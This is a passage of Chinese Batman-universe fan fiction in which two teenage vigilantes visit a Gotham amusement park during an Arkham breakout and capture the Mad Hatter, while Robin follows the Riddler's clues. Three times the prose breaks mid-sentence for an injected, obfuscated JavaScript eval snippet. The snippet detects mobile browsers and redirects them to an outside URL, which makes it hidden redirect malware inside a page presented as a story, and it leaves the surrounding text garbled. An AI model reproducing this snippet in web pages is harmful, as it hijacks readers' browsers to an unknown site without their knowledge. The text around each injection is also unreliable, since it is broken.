索菲亚.布兰登，出生于洛杉矶，在父母离世后前往纽约生活。在得知索菲亚猎魔人身份的那天，少年就调查过索菲亚父母的身份，资料显示这对夫妻确实死于十年前并且留下了一个五岁的孩子，但是姐姐的身份却并未提及。进入户籍系统输入索菲亚的姓名，也找不到任何的抚养关系。 学校里老师曾经提过索菲亚的姐姐的全名是伊芙琳.布兰登，提姆在全国找到了几十个伊芙琳，却没有一个和索菲亚有哪怕一点的联系。 直到一则新闻吸引了提姆的注意。 十五岁少年勇夺冲浪冠军，提到获奖感言少年感谢了自己五岁时就去世的父母，而他的父母的名字和索菲亚档案上填写的一模一样。 31.第 31 章 哥谭乐园位于哥谭市中心的伯恩利区，是布鲁斯韦恩的祖父艾伦韦恩重建哥谭市时修建的游乐设施，彼时迪斯尼乐园在全球扎根通过贩卖梦想和童话赚的盆满钵满，不甘示弱的艾伦韦恩因此仿照迪斯尼乐园修建了哥谭自己的占地200公顷的游乐园来吸引游客来访。 随着岁月变更，哥谭乐园经历了不下五次翻新，面积也从最初的200公顷达到如今惊人的2000公顷。 如今的游乐设施大多也都进行了升级，选择了年轻人会喜欢的款式，例如在空中能做到360度旋转的疯狂过山车，以超高速度从高处落下的跳楼机，载满了热情活泼的可互动NPC的花车围绕整座园区的游行，以及即使经历将近百年的历史变化依旧矗立在乐园中心的，能够将一切尽收眼底的巨大摩天轮。 而最新一次的翻修由韦恩集团全部出资，更换了所有可能有安全隐患的设施，以及对一直存在的摩天轮进行了重新装饰显得更加梦幻。 在社交平台上，哥谭的所有人都在发疯一样的宣传这座不该存在在哥谭的梦幻之地，不过这座游乐园尚未宣布开业，流传在网络上的也大多只是些韦恩集团放出的精致宣传片。而这个周六，这座承载着哥谭一切欢乐和笑声的乐园就会正式开放，在当天晚上的九点，便是一场盛大的成本超过200万美元的烟花秀。 提姆目前作为布鲁斯韦恩的临时代理人当然不需要门票就能进入，所以索菲亚可以额外带一位朋友入场。 斯蒂芬妮原先还以要去打工的理由拒绝，但在刷了几天tiktok和x后一把推开了索菲亚房间的门。 “我也去，看起来跟做梦一样，不去太亏了。” “打工？” 被从床上拉起来的索菲亚迷茫的看着斯蒂芬妮。 “不重要，反正我本来也快攒够钱了，不差这一天。” 两个人欢呼雀跃着找这所游乐园的各种攻略，比如如何排队最省时间，哪些特色小吃一辈子一定要尝一次，再比如商店会出售的限定款包括蝙蝠侠，超人，神奇女侠在内的超级英雄玩偶。 “其实这还是我第一次去游乐园，是不是有点紧张过度了。”斯蒂芬妮揉了揉几乎要完全合上的眼睛“哇，索菲亚外面是不是天亮了。” “嗯……嗯，我也是。”索菲亚靠在床头，已经点起了头“亲爱的，我们是不是该睡了。” 索菲亚没来得及得到回应，就听到来自另一头的微弱的鼾声，来不及嘲笑同伴，自己也身子一歪倒在了床上，如同回到母亲柔软的怀抱一般，在初升的朝阳下，陷入了婴儿般的睡眠。 当索菲亚和斯蒂芬妮背着背包刚检票入园时，阿卡姆暴乱犯人出逃的信息也随之而来，排队的人群同样开始骚乱。 对于一个个需要镜头表现自我的患有精神疾病的反派来讲，不占据几个地标建筑搞点事都对不起反派的身份，距离阿卡姆最近的哥谭学院因为放假躲过一劫。 但像是银行，韦恩集团，下水道这种经典场所大概率不久就会有反派自动刷新，而选在今天开业的哥谭乐园更是debuff拉满的顶级倒霉蛋。 烟花，摩天轮，游乐设施，把欢笑的场地换成痛苦和泪水，对于有自我追求的反派来讲简直是无法拒绝的诱惑，斯蒂芬妮和索菲亚几乎能猜出来谁有最大的概率会来。 “小丑不来我倒立洗头，感觉他马上就要让蝙蝠侠玩二选一的电车难题小游戏了。”斯蒂芬妮从背包里拿出加了草莓酱的吐司咬了一口。 “确实。”索菲亚点头，对着自己手里的花生酱三明治也啃了一口。 即使不是蝙蝠侠系列忠实粉丝，但是有关《黑暗骑士》互相投票杀人的手法属实让人头皮发麻，《致命玩笑》里把戈登警长绑在过山车上目睹自己女儿惨状的情节真是猫头鹰法庭看了都摇头。 “小丑玩弄人心方面聪明的吓人，经常性的用残忍手法让受害者产生恐惧，并持续通过语言暗示让受害人的痛苦和蝙蝠侠联系在一起。即使受害人被救回但应激创伤会下意识的把蝙蝠侠和小丑联系在一起，甚至部分受害者会因此怨恨蝙蝠侠而不是小丑。” 斯蒂芬妮掰着手指分析，说到最后自己都觉得荒谬翻了个白眼。 “小丑到底想干什么？他也不图钱，也不要世俗层面的权力，爱慕他的哈莉奎因还被当狗一样玩。总不能他真的暗恋蝙蝠侠，但因为布鲁斯韦恩的插足爱而不得吧。” “我觉得可以磕。”索菲亚突然抬头看向天空。 “什么都磕只会害了你。”斯蒂芬妮站了起来重新背起背包“走吧，先不管那么多，玩几个项目再说。” 在过山车上，斯蒂芬妮最初还能保持镇定，却在过山车的车厢从最高处冲下暂停时突然向后变速抬升，在时速超过149英里的急速倒退和360疯狂旋转下，即使是有不到两个月出道经验的搅局者也忍不住频频爆出脏话。 斯蒂芬妮用余光看索菲亚，就只看到自己娃娃脸的超级无敌好朋友脸上满是无语，即便是年龄十五工作年龄超过十岁的冷酷杀手坐过山车也会被大风刮的睁不开眼睛。 好消息是两个人做完了过山车和跳楼机正在排大摆锤的时候，就已经收到了蝙蝠侠把小丑捉拿归案的消息。 小丑在逃狱的短短几个小时里就挟持了几个原本要出游的家庭，通过哥谭电视台直播画面。他给大人的脑袋上套上了头套并告诉他们，打败了小丑的手下就可以离开。 几个成年人为了生存和家人利用能得到的一切武器互相攻击，等到蝙蝠侠找到了隐藏在废弃仓库里的真正的演播室时，已经有一位女性被认做敌人在围攻下失去了生命，其他人都有程度不等的伤口。 但是现场并没有找到被挟持的孩子，直到蝙蝠侠通过热力成像找到了隐藏在地板下的被封死的地下室。打开地下室机关的那刻，大量的水涌了出来，意识到问题的蝙蝠侠立即跳入水中将几个孩子捞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15907976|175935||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了上来。 即便蝙蝠侠和罗宾做了再多心肺复苏，这些孩子也没活下来的迹象。 而一切的玄机在于，困住几位大人的房间地板上被设置了几处重力感应机关，只要被施加压力就会向地下的密室中灌水，直到整座密室都被填满。 不愿意接受现实的大人倒在地上大声哀嚎，而一位男人最为不幸，他的妻子在这场无妄之灾中被波及，孩子则死在自己为了逃生而不断被触发的机关下。 罗宾想要上前安抚，就接到了新的罪犯出没的消息，只能联系GCPD和救护车收拾残局，自己则跟着导师马不停蹄的赶往下一个现场。 稻草人则挟持了哥谭医院，并已经在通风设备里混入了足够剂量的恐惧毒气。 受到幻觉的影响，大多数毫无防备的普通人突然坠入了深渊，怪物，杀手，仇敌，一切深压在内心中的恐惧幻化成现实，尖叫，嘶吼，攻击在满是消毒水味的医院蔓延开来。 夜翼刚刚落地，就听到神谕颇为冷静的声音。 “监控中没有看到稻草人，他应该藏到了其他地方，解毒剂带好了吗？” “放心，这边交给我就够了。”多米诺面具下英俊的脸庞带了些倦意，但完全不影响义警侧身避开腿上打着石膏还能举着拐杖抡人的病人。 “哇哦，医学奇迹。” 夜翼戴上准备好的防毒面具，挤进了混战的人群。 “你说我们是非玩不可吗？”从海盗船上趁机口头草了全世界的斯蒂芬妮获得了无与伦比的放松“这可是非常少见的可以踢反派屁股的限时活动，去晚了可就赶不上了。” 索菲亚的眼神全都黏在远处的冰淇淋车上，看着一个个冒着冷气的五颜六色的圆球馋的直流口水。 “那我们能先吃个冰淇淋再走吗？” “吃，为什么不吃。” 话没说完，索菲亚就捏着早就准备好的一百美元给自己和斯蒂芬妮各买了两个球的冰淇淋。 “那我们去踢谁的屁股？小丑已经被抓回去了，剩下的双面人在抢银行，等等双面人怎么老跟银行杠上。杀手鳄回下水道去了，疯帽匠在博物馆劫持了正在参观的一群小学生，谜语人在医院。” “我们的设备没办法过滤毒气。”索菲亚企图一口吞掉一个球，结果嘴张的太大撑得下巴发出清脆的“嘎嘣”声“我不想从幻觉醒来的时候发现不小心把你杀掉了。” “听起来就烂透了，那我们不去管稻草人。”斯蒂芬妮倚靠在椅背上，金发在阳光的照射下像是小麦一样。 “双面人那边似乎蝙蝠女侠已经到场了，X上已经有人趴在地上的时候悄悄拍照片了。” “蝙蝠侠和罗宾似乎在处理贝恩，那我们好像也就只能选一个人了吧。” “疯帽匠。”答案过分明显，两个人异口同声的说出了答案，接着相视一笑。 接着两只叽叽喳喳的小鸟扇着翅膀离开了这座乐园。 32.第 32 章 索菲亚在博物馆高处落地，一眼就看到了长相实在算不上好看的疯帽匠以及被他戴上了项圈的金发少女。 少女和索菲亚看起来差不多大，双眼被用布条蒙住，疯帽匠不停的拉着连接项圈的锁链，迫使少女不得不弯下腰行动。少女的动作看起来非常别扭，只能用接近一米七的身高去将就一米四左右的疯帽匠，显得十分狼狈。 那头金色长发让索菲亚无比熟悉，即使不用摘下眼罩索菲亚也知道被挟持的女孩是谁。 “被挟持的不是小学生吗？怎么还有这个姑娘。”斯蒂芬妮选了另一处位置潜入，此时正把自己倒挂在照明的灯具上“等等，她是不是？” “是。”索菲亚的注意力全都被放在了被挟持的蒂娜身上，其他人员已经撤离完毕，除去蒂娜还有几个小学生正压着嗓音吸鼻子。 “蒂娜是不是有点倒霉，要不你之后劝她搬家吧，去哪都行哥谭还是太危险了。” 疯帽匠的所有精力都在蒂娜身上，对于那些孩子却连一眼都没看过，让斯蒂芬妮找到机会降下去像是抓娃娃一样，拦腰抱着两个孩子升了回去。索菲亚随即让出了自己脚下这块算得上安全的区域，挪去了另一处地方，这才听清疯帽匠喋喋不休的话语。 “爱丽丝啊，爱丽丝，你为什么是爱丽丝。” “去你的，谁是爱丽丝，啊——”蒂娜的反驳被尖叫打断，疯帽匠抓起蒂娜金色的头发歇斯底里的怒吼。 “爱丽丝，是谁污染了你，是谁让你误解了我的爱，又是谁把你从我身边再一次夺走。” 蒂娜没有再说话，身体却止不住的发抖，皮肤被强行套在身上的布满了劣质蕾丝的裙子蹭的发红发痒却腾不出手去抓挠。眼泪源源不断的流出，打湿了眼罩。 “你是唯一不嫌弃我的人，我知道我们相见的第一面你就爱上了我，只有爱情才能让人无视一切的缺陷，让人变得完美。” 索菲亚不能再冷静了，看着在边上气的咬牙切齿的斯蒂芬妮，索菲亚向同伴打了个手势。 底下还有七八个孩子，并且因为刚刚的偷渡行为，大多数孩子都注意到了搅局者紫色的身影，视线全部黏在上空，即便有蒂娜吸引疯帽匠的注意，但这样的情况也属实危险。 最好的办法就是其中一个人先下去制服疯帽匠，而另一个人趁机将孩子和蒂娜带出攻击范围，确认安全后再回来支援。 斯蒂芬妮轻轻点头，理解了索菲亚想表达的意思，就在此时一个孩子终于憋不住了大声嚎哭起来。 被吓了一跳的疯帽匠刚要去查看，就被蒂娜抓住了衣服。 “亲，亲爱的，我也，爱你，你为，为什么要去看别人。” 利用蒂娜争取来的短短几秒，索菲亚从高空跳下落在两人身侧，伸手就要把少女拉开。 “啊——” 没想到的是，首先传来的是蒂娜的尖叫，少女倒在地上浑身都在抽搐，索菲亚意识到少女脖子上被套上的是个能够释放电流的电击项圈。抽刀转身，一刀劈在疯帽匠按在遥控器的手指上，将疯帽匠往相反的方向一脚踹开。 飞身拿起遥控器，连按好几下按钮，少女的抽搐才停了下来。索菲亚一把拉下挡住蒂娜双眼的烂布条，就看到了那双总是快乐的眼睛里持续不断的涌出泪水。 少女见到索菲亚带着面具的脸后，泪水流淌的更加汹涌，在哽咽声中，蒂娜伸出手臂将索菲亚抱在怀里终于能够放大哭声，泪水在防水的制服划过，没有留下一丝痕迹。 察觉到异常脚步声的索菲亚不用抬头，在长刀即将离手扎穿对方的身体时，索菲亚这才看清走上来的是个意志不清的小孩。 “冷静点猫头鹰。”斯蒂芬妮喊道，手里的飞镖击中那柄长刀使得武器偏离了方向。 随后，被操控的孩子有的上一秒哭泣下一秒就机械的站了起来，面无表情的将三人围了起来。斯蒂芬妮用脚一勾，就把掉落在地上的长刀捡了起来，扔给索菲亚。 索菲亚放下已经晕过去的蒂娜站了起来，两人对视后开始了进攻。 对待算不上敌人的孩子们，两人尽力减轻了力度，保持在让这些小孩昏迷的力度，即便如此也算的上难缠。 直到将最后一个孩子放倒，斯蒂芬妮才长出一口气。 “终于结束了，这家伙怎么这么没品，控制小朋友打义警，自己却不上。” “对，没品。”索菲亚迎合道。 环顾四周，却突然不见了疯帽匠的身影，索菲亚只觉得疲惫，转过身果然看到了再次企图向昏迷的蒂娜伸出手的矮小反派。 摸出顺手从罗宾的腰带里顺来的罗宾镖，向疯帽匠的方向扔去，在对方狼狈的闪避时再次挥出一刀。 只是比起熟悉的致命伤刀刃的角度有略微的几分偏移。 斯蒂芬妮从腰带里掏出绳索，将肩膀受伤倒地的疯帽匠捆的结结实实，将通讯器调到了某个索菲亚完全没印象的频道打开了声音。 “神谕，疯帽匠已经抓到了，需要送货上门吗？” “蝙蝠车五分钟后会到，放在后座就好。”那头的女性回复道，仔细听还能听到不断敲击键盘的响声。 “那是谁？”索菲亚发出疑问，一边用刀割开了蒂娜脖子上劣质的项圈和被套在裙子外的蕾丝裙子，避开少女腿上的石膏将蒂娜背在背上。 “一个很靠谱的大姐姐，我之前一个人夜巡在她那学了好多。”斯蒂芬妮眨了眨眼“现在我们只需要把疯帽匠打包好就可以离开了，是不是很划算。” “确实。”索菲亚点头表达认同。 杰维斯.泰奇是一个在哥谭都算的上少见的孩子，身材矮小，头大如斗，从懂事起所有的孩子无论高矮胖瘦都可以肆无忌惮的嘲笑他，矮冬瓜泰奇的难听外号再也没能从脑袋上摘下来过。 父亲和哥谭大多数不靠谱的雄性动物一样，早早地抛弃了杰维斯母子，杰维斯的母亲也在被丈夫抛弃后精神状况愈发糟糕对自己的儿子动辄打骂。 男孩从小忍受着别人的讥讽嘲笑，即便母亲的谩骂更多是对他无能的控诉，可是她又何尝不是在暗示想要一个漂亮乖巧能留住丈夫的孩子呢？ 男孩唯一的慰藉只有知识。 其一，他在学校里成绩优异，依靠漂亮的成绩获得的奖学金让母亲能够难得露出好脸色来。 其二，当杰维斯全身心沉浸在书本中领略那些令人叹为观止的知识时，他可以轻易得知在这个只依靠外貌判定他人的世界之外的知识，大到行星宇宙，小到人体内的每个细胞，没有人会因为他的长相拒绝向他传授知识，而他，他只需要翻开书本，就能得到这一切。 只是很快杰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15915053|175935||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 维斯便笑不出来了。 来自韦恩集团的巨额的顶的上妈妈半年工资的助学金，落到了同班里那个家境优越且成绩远不如自己的家伙。 按照计划，这笔钱会让妈妈开心很久，她不会再生气，会难得的夸奖杰维斯是个有能力的孩子，再进入厨房给杰维斯端上热腾腾的加了酸奶油的炖菜作为奖励。她会以我为骄傲的，她一定会。 可是这一切都毁了。 杰维斯红着眼怀揣着怒火敲开了办公室的门，却只得到了对方形象更好可以帮助韦恩集团宣传的可笑理由。杰维斯本就巨大的脑袋几乎要被气的更大，像是充满了气一戳就会爆炸的红气球，随后他听到一声细小的几乎难以用耳朵捕捉到的嗤笑。 杰维斯气冲冲的要推门离开，却被撞了个正着摔在了地上，拿到了助学金后趾高气扬的家伙正假惺惺的道歉。 “抱歉啊，杰维斯，你太小了我没有看到你。” 杰维斯落荒而逃，但仍旧能感受到办公室内夹杂着窃窃私语的嘲笑声。 “好丑。”“好矮啊，他是怎么来上学的。”“好难看，他妈妈看到他不会昏过去了吧。”“好难看啊，我看了饭都要吃不下了。”“那个矮冬瓜。”“那个丑家伙。”“好丑。”“好丑。”“又矮又丑。” “够了，别说了，都给我闭嘴。”杰维斯从噩梦中怒吼着醒来，却发现还在午夜。 爱丽丝是唯一不会嘲笑他的人，金发的少女总是温柔的，经过时身上总是会带来栀子花一样的香气，简洁的白裙，一切就像是童话一样。 爱丽丝是唯一会对他笑的人，不是嘲笑讥笑，而是真诚的微笑。 她一定爱我，只是碍于面子不好表达，没关系的我不会在乎的，我也爱她，我们一定能够永远在一起。对的，她爱我所以才会对我笑，她为什么不对其他人笑，一定是对我有好感，喜欢我，对她一定喜欢我。 此时大脑里的那些嘲笑再次出现，杰维斯在爱丽丝疑惑的眼神里抱头逃窜。 高中毕业后杰维斯进入哥谭大学深造，在选择方向时他甚至忘记了要挣钱带母亲脱离苦海的愿望，脑子里只萦绕着一个念头。 我不许任何人能够嘲笑我。 选择了神经科学的杰维斯在心灵控制技术上找到了自己唯一的出路，只要这项技术获得突破，那么将没有任何人能瞧不起自己，大家都会爱我，就像他们爱别人一样，就像爱丽丝爱我一样。 依靠技术获得了学位以及韦恩集团工程师offer当天，杰维斯难以掩盖发自内心的优越和快乐，他拿着这些东西招摇过市，终于有勇气敲响了爱丽丝家的门。 她一定会高兴，有一个人回应了她的爱，并且变得如此成功。我会让她幸福，我们会有孩子，我们会一起抚养孩子长大，直到死亡将我们分开。而现在就是一个幸福故事的开始。 杰维斯敲门的手从沉着逐渐变得焦急，天光由明亮转向黑暗，在昏黄的夜灯下，杰维斯始终没等到爱丽丝打开房门。 矮小的男人遗憾的转身，正好看到被陌生男人搂着腰的女人从黑色的汽车上下来，临走前两人还在激吻。 透过汽车的后视镜，杰维斯看到了爱丽丝花一般美丽的脸，以及如同老鼠一样丑陋矮小不堪入目的杰维斯泰奇。 ——一个真正的笑话。 33.第 33 章 索菲亚对疯帽匠之后的故事几乎能猜出个大概，陷入疯狂的他杀死了被他判定为出轨的爱丽丝，即使那个姑娘只是几年前对他笑了一下。 随后，杰维斯回家杀死了因为慢性病长期卧床不起的母亲，在大街上以金发为标准，捕获属于自己的爱丽丝，并利用精神控制的技术让那些女孩忘记恐惧心甘情愿的泡在污水中，在老鼠和蟑螂肆虐的环境下扮演着荒谬无比的童话故事。 直到蝙蝠侠出现拯救了这些女孩，把她们从虚假而残酷的兔子洞里救出，在经受心理治疗后重新回到熟悉的世界。 将疯帽匠打包好并且安置好受害人的两位义警在休息片刻后打开手机发现还不到下午四点。 “现在回去的话，咱俩能坐两轮摩天轮，运气好的话可以在摩天轮上看烟花。”斯蒂芬妮坐在天台上看着医护人员安抚受到惊吓的孩子们，并为他们处理伤口。“或者最后一趟你和你的亲亲男友去看，只要他赶得过来。” “我觉得很难。”索菲亚注视着醒来后被医护人员搀扶着躺上担架的蒂娜，确认少女上了救护车才收回视线“但没关系，就算没有男人我们也可以约会，你不介意的话我们也能在摩天轮上亲嘴。” “我要申明一点，我并不是女同。”斯蒂芬妮伸出手指按在索菲亚的嘴唇上“为什么要亲我的嘴，你不是还在谈吗？还是你背着我分手了没有嘴亲就决定对我下手。好吓人，你们双性恋。” 索菲亚脸上没有一丝尴尬，只有对恶作剧成功的得意，直到救护车彻底离开两人才离开。 面对难处理的贝恩，蝙蝠侠有意将罗宾支开。 一个不仅仅依靠体格带来的强大力量和战斗技巧并且兼备智慧的敌人，就连强大如蝙蝠侠也曾被贝恩折断了脊椎险些命丧于此，据阿福说如果不是克拉克慷慨的借出了唯一孤独堡垒中的修复仓，导师唯一的命运只有瘫痪在床。 即便如此，蝙蝠侠的身体还是受到了后遗症的折磨。 提姆实在没办法放心导师去面对曾经险些杀死他的敌人，可是对上那双冷静的眼睛，罗宾还是接受了去追查谜语人踪迹的任务。 “罗宾，我会联系其他人来支援。” “我这边已经处理好了，马上就到。”夜翼磁性的声音在频道里响起带来几分安全感“放心吧罗宾，我会看着B的。 ” 谜语人留在病房内的第一个谜语内容为，什么东西你每天都‘获取’，却永远无法归还？它能成就你，也能击垮你 —— 偏离轨道时，你最缺的就是它？（What do you take every day， but can never give back? It builds you up or breaks you down—what’s the thing you lack if you’re off track?） 这道谜题算不上困难，虽说罗宾自认自己离成为世界第一侦探还有些距离，但这种级别的谜语算得上入门级了，答案自然是“Lesson”，按照谜语的含义更多是教训，但结合谜语人一向热爱的双关谜语，那么附近能够提供课程的场所，最近的就是距离阿卡姆最近的学校——哥谭学院。 虽然哥谭犯罪之都的恶名早已做到名声远扬，但哥谭学院按照严苛的入学标准，优秀的师资力量和几乎人人藤校的出色成绩在全美都算得上数一数二的优秀私立学校，如果有一天有想要造出成绩的反派闯入哥谭学院用MP5进行扫射，第二天哥谭的政商两界都会原地瘫痪，顺便一提夜翼和神谕都是由这所学院毕业的优秀校友。 虽然说迪克因为理念不合在哥谭大学选择退学，之后为了成为警察进入警校深造，但不影响作为布鲁斯韦恩的被监护人从这所学校毕业所带来的明星效应。 钩爪从高楼上急速收回发出冷硬的摩擦声，罗宾借力如一片羽毛般落在了哥谭学院的天台上，黄色里衬的黑色披风被风卷起像只振翅欲飞的蝴蝶。 比起一间间教室寻找线索，罗宾更倾向于谜语人会选择更加具有特色的和课程相关的场所隐藏谜语，比如哥谭学院引以为傲的能够同时容纳万人的大教室。 提姆很快找到了位于一楼的这间特殊的教室，拧动把手听到了齿轮被卡住的异响，果然如预料般教室的门因为放假被上锁。这件事对于蝙蝠侠的门徒来讲算不上麻烦，从腰带里取出□□插入锁孔，只需要轻轻拧动就能够让齿轮随之运转，让上锁的门心甘情愿的向罗宾打开自己。 虽然说特工电影里常有用一根铁丝或者发卡开门的情节，但是作为有一定智力水平的人类除非为了表演，放着现成的工具不用选择铁丝开门或多或少有点毛病。 打开大门阳光透过玻璃窗打在地面，灰尘微粒在光线下无处遁形，作战靴的鞋跟在地面的响声在空旷的教室回荡，空气中同样弥漫着灰尘的味道。 罗宾呼吸平稳，扫视一周后还没来得及查看细节，一声巨响就在阶梯教室中炸开。 条件反射般抽出长棍，在爆炸引起的硝烟散去后，提姆很快看到了被炸出了个小坑的布告栏，以及布告栏下随着爆炸显露出的谜语。 没有手指但我能指，没有手臂但我能打，没有脚但我能我跑。（Without fingers I point，without arms I strike，without feet I run.） 再次检查整间教室确认没有被遗漏的炸弹后，罗宾才前往谜语中所暗指的下一个目的地——钟楼。 索菲亚和斯蒂芬妮换好了衣服各举了一杯碳酸饮料换了个长椅开始挨个盘算玩过的项目。 号称刺激的过山车，海盗船，跳楼机对于身处义警职业边缘的二人来讲和惊险刺激四个词完全扯不上关系，反而是在乐园中心的湖面玩电动船的时候，两位优秀的夜间职业者被彼此飘忽不定的行进速度折磨得几乎要吐了出来。 平和的没有一丝危险，却如影随形的晕眩感攻击了船上的所有人，即便如此两个少女还是能够保持平和的面色，只是嘴角略微有些紧绷，看不出一点对于出游的欢喜之情。 同伴质疑的眼神格外刺眼，索菲亚移开视线把注意力全部集中在湖面养殖的羽毛雪白的鸭子上。 这鸭子可真鸭子啊。 屁股好圆，脑袋看起来也圆圆的好可爱哦。 他半夜也会变成五颜六色的罗宾鸟跟在大蝙蝠身后夜不归宿踢人屁股吗？ 等等，那是什么？陆地为什么越来越近了？ 游船一个冲刺撞在岸边，庆幸岸边提前布置好了缓冲的轮胎，不然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15920025|175935||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两位身手了得的义警在公园划船负伤听起来可以进哥谭笑话前十。 剩下几个的几个笑话大多是些小丑出狱不到三小时就被蝙蝠侠打断骨头送回来办理入院，双面人因为被分配到小丑对面的牢房激情越狱，在一番惊天动地的计划后终于在热心群众蝙蝠侠的帮助下换到了扎斯对面的牢房。 以及上周发生的，认为自己的伪装天衣无缝发誓要夺走布鲁斯韦恩一切的新兴反派缄默先生，在伪装成功的一小时内就被人认出了假货的身份，甚至对方贴心的认为这是一场cos布鲁斯韦恩的精彩活动，并热烈的恭喜缄默先生在这场比赛中获得第三的好成绩，前两名分别是布鲁斯韦恩本人，以及一名不愿意透露姓名的路人火柴马龙先生。 当然其中还包括只流传在阿卡姆内部论坛的消息，蝙蝠侠早期用钩锁爬楼结果没有固定好位置险些摔个狗吃屎的故事，只可惜这项传闻仅仅只是传闻没有任何影像资料可以证明，大概率是某位对黑暗骑士先生充满怨恨的阿卡姆居民编撰的产物，而这条帖子在发出后不到三个小时就消失在了茫茫的虚拟世界中。 等到两人好不容易将船开回原位，两人最后只选了最为安全舒适的项目，旋转木马。 双层的由木马构成的如同蛋糕一样的建筑中，颜色各异的木马格外吸引人，斯蒂芬妮略过脚蹬长腿一跨便飞身上马，由白漆涂成的带着光泽的木马配合打扮清爽的少女映出一副时刻备战的英勇骑士少女的画像。 索菲亚完全没有坐在由机械控制的，上下成规律移动并稳定旋转的木马上cos王子骑士的戏码，选了被雕刻成南瓜马车形状的宽阔座位坐下，看着眼前把手里在商店随手买来的塑料宝剑耍的虎虎生风的斯蒂芬妮拿出了手机。 “咔嚓。”快门按下后发出的声响让少女下意识回头，金色的发丝在空中短暂的划过弧度，一看就看到了面无表情的拿着手机的索菲亚。 了然于心的斯蒂芬妮毫不在意，对着镜头眯起眼睛扬起了微笑，摆起了各种pose，如自信的骑士，如老练的战士，是愿意用自己力量庇护弱小的义警，是飞翔在哥谭上口永远不变的搅局者。 看到索菲亚收起手机，斯蒂芬妮也拿出自己的手机切换到前置镜头将两人一同放置在画面中。 索菲亚的动作算不上拘谨，但不擅长面对镜头的黑发少女思索良久，最后还是比出了略显老土的剪刀手。 斯蒂芬妮透过镜头看到好友的动作，也变换了动作，直到闪光灯下两人方向各异的剪刀手一起被记录在相片之中。 从旋转木马离开，斯蒂芬妮的手指在屏幕上来回滑动，查看坐在后方的索菲亚表情的变化，十几张照片来回翻动如果不是位于前景的斯蒂芬妮每张都摆出了不同的手势，实在很难看出照片的区别。 斯蒂芬妮抬眼看向索菲亚，就看到黑色短发的少女条件反射般举起剪刀手比在脸侧，表情却没有任何变化。 “算了，至少你也很开心对吗？” 伴随着少女机械般的点头动作，内容为报时的广播声在园区内响起吸引了每个人的注意。 “各位游客请注意，花车游行环节即将开始，请大家遵守规定在指定区域观看演出，此次演出时长为两小时，演出结束后是烟花秀演出。” “请大家不要错过。” 34.第 34 章 两人对人挤人的花车游行实在提不起兴趣，也没有必须要用手机拍点照片视频更新社交平台的需求，干脆趁人群都涌向游行路线附近，上了几乎在空转的摩天轮。 摩天轮在整座乐园都算得上万众瞩目的存在，任何人远远望去第一眼一定会看到这样的一座由金属材料构建而起的娱乐设施，可真的到了摩天轮脚下抬头仰望，才能意识到接近五十层高楼的建筑到底是怎样的概念。 轿厢越来越近，看准时机两人一前一后钻了进去大喇喇的靠在座椅上。 窗外的风景随轿厢升起如同放映的幻灯片一般拨动速度也随之加快，索菲亚能感受到不受控的升空带来的轻微失重感，白日里显得格外炎热的天空被抹上柔和的暖黄色，随着时间的变化那抹黄色在残存的日光下被加上红色的晕染，橘红色的天光全部集中在地平线西方，而回头看就能看到依旧是一片蓝天白云的祥和景象。 斯蒂芬妮看到了轿厢上贴着的可以点歌的标志，在app里选了半天实在没办法在死亡摇滚，纯音乐以及带脏话的rap里选出一首适合目前风景的歌，最后只能闭上眼睛选了榜首的《baby》。 “好漂亮，我要拍一张。” 斯蒂芬妮调出相机站了起来，不顾有些闷热的环境挤到索菲亚身边，用手臂从后方环住了少女的肩膀。 “来，茄子。” 索菲亚刚要伸出公式一样的剪刀手，就被斯蒂芬妮按住了胳膊。 “不许敷衍我，你每个动作都一样别人都以为你是p上去的模板呢。” 金发女孩对着屏幕看了半天总觉得哪里不对，转头看索菲亚空空的脑袋上有了灵感。 “等一下，你脑袋上太空了，拍出来就肯定没有那么可爱。” 说罢斯蒂芬妮从背包的侧边掏出了几根小皮筋，伸手梳理同伴的黑发。 “没有装饰就不可爱吗？”话虽这么说，但索菲亚还是乖乖的坐在原地，任由同伴在脑袋上四处施工。 “可是装饰了以后会更可爱哦。” 纤长的手指在被分成几股的发丝间灵活穿梭，一条编排整齐地发辫逐渐显露出来，直到少女用手腕上的皮筋扎紧了发辫后，又重新将发丝略微调整的不会过于紧绷。 “完美。” 索菲亚重新看向镜头里的自己，除了脑袋旁多了条小辫子看不出什么区别，但还是顺应同伴的话点头肯定。 不过两分钟，斯蒂芬妮也给自己编好了小辫，两个女孩的脑袋亲热的贴在一起，不同颜色的发丝混在一起不分你我。 忙活了一阵，顺着窗户便看到了黑压压一片的人群，在被刻意隔开的演出区域外，无数的人头在道路两侧延伸，在高空中被衬托的犹如蝼蚁一般，渺小且遥远。 